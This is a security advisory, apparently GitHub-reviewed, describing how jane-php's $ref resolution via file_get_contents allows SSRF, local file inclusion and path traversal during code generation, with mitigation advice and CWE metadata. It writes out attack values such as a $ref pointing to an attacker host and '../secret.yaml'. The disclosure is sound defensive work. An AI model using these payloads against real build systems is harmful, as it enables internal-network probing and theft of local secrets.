jane-php resolves external $ref targets at code-generation time via file_get_contents($ref) (jane-php/json-schema-runtime/Reference.php::doResolve) with no scheme/path restriction. An attacker-controlled OpenAPI document can therefore cause: $ref: 'http://attacker/x' -> SSRF (HTTP GET at gen time; response inlined = RFI); $ref: '/abs/file' -> LFI; $ref: '../secret.yaml' -> path-traversal LFI (CWE-22, arbitrary local JSON/YAML read). Verified 7.11.2/PHP8.1 (listener records the fetch; remote + ../ local content inlined into the generated code). file:// rejected. CWE-918/CWE-98/CWE-611/CWE-22.
// Reference.php::doResolve()
$contents = file_get_contents($fragment); // $fragment = attacker-controlled $ref URI
Generating PHP with jane from an attacker-influenced OpenAPI document issues HTTP requests to attacker-chosen URLs (SSRF — internal services, cloud metadata) and reads arbitrary local files (LFI via ../), at build/CI time, inlining results into the output.
reproduce.sh (+ make_spec.py, gen.php): runs jane on a remote-$ref spec (local listener records the SSRF, output checked for the inlined response) and a ../-traversal local-$ref spec (output checked for the leaked file).
Disable remote $ref fetching by default (or allow-list); confine local $ref to the spec directory (reject absolute paths and ..). Don't file_get_contents($ref) on attacker-controlled URIs.
{
"cwe_ids": [
"CWE-22",
"CWE-611",
"CWE-918",
"CWE-98"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-20T00:07:32Z",
"nvd_published_at": "2026-11-18T22:17:22Z",
"severity": "HIGH"
}